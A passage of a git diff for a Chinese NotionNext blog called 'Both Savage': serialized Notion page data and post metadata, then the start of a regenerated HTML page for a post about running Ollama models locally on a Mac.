:1711119084263,"parent_id":"75f502ae-f3f4-4989-9ccd-cfaa0824d0c1","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"1f3381bc-eb00-4d61-8f6e-5c5e09f4a5cd":{"value":{"id":"1f3381bc-eb00-4d61-8f6e-5c5e09f4a5cd","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1711119084264,"last_edited_time":1711119084264,"parent_id":"e47e97cd-2e5a-4f01-86c9-297f278a012c","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"b970c508-ada6-4cd2-be36-58fcc1de9201":{"value":{"id":"b970c508-ada6-4cd2-be36-58fcc1de9201","type":"text","properties":{"title":[["\n",[["i"]]],["        复仇工程",[["i"],["b"]]],["\n        ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711121470727,"parent_id":"5396a260-c16a-4da5-9324-b64f4d1a4f46","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"86091e65-5361-476b-a0dc-7b3e61614386":{"value":{"id":"86091e65-5361-476b-a0dc-7b3e61614386","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1711119084264,"last_edited_time":1711119084264,"parent_id":"c28bcbf2-1f56-480b-be97-471efef9a57b","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"82610ac2-030e-4a50-b944-af1127776438":{"value":{"id":"82610ac2-030e-4a50-b944-af1127776438","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"5396a260-c16a-4da5-9324-b64f4d1a4f46","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"db2f6108-70f4-48de-86ca-b786f1a84a61":{"value":{"id":"db2f6108-70f4-48de-86ca-b786f1a84a61","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"240322-angry"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/article/240325-ollama.html b/article/240325-ollama.html
index 1b0c255f6..0bf5607ac 100644
--- a/article/240325-ollama.html
+++ b/article/240325-ollama.html
@@ -1,4 +1,4 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>mac体验ollama本地大模型 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="工具,推荐,折腾"/><meta name="description" content="m1 pro芯片+32g体验了五种大模型本地部署"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="mac体验ollama本地大模型 | Both Savage"/><meta property="og:description" content="m1 pro芯片+32g体验了五种大模型本地部署"/><meta property="og:url" content="https://bothsavage.github.io//article/240325-ollama"/><meta property="og:image" content="https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="m1 pro芯片+32g体验了五种大模型本地部署"/><meta name="twitter:title" content="mac体验ollama本地大模型 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="技"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div 